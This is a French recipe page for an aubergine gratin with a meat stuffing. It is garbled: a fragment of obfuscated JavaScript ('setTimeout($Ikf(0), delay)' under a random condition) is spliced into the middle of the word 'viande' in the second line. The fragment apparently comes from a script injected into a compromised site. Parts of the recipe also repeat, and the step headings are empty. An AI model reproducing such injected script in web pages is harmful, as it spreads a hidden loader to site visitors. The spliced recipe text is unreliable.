Gratin d’aubergines
2018-02-19
Coupez-les aubergines en tronçons et les faire dégorger dans du gros sel
Pelez et hachez l’oignon, le persil et l’ail. Hachez la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande, ou les restes de bœuf, ou de porc, ou de volaille.
Ingrédients
Coupez-les aubergines en tronçons et les faire dégorger dans du gros sel
Pelez et hachez l’oignon, le persil et l’ail. Hachez la viande, ou les restes de bœuf, ou de porc, ou de volaille. Dans un récipient avec du beurre faites dorer le hachis d’herbes, la viande, le concentré de tomate, salez et poivrez. Faites cuire à couvert pendant 10 minutes sur feu doux.
Égouttez les aubergines, dans une poêle avec de l’huile, faites-les revenir pendant 10 minutes. Beurrez un plat à gratin, déposez une couche d’aubergines, une couche de farce, et ainsi de suite, terminée par des aubergines.
Parsemez de La chapelure quelques morceaux de beurre dessus. Préchauffez le four à 210°C thermostat 7. Enfournez et faites cuire pendant 30 minutes.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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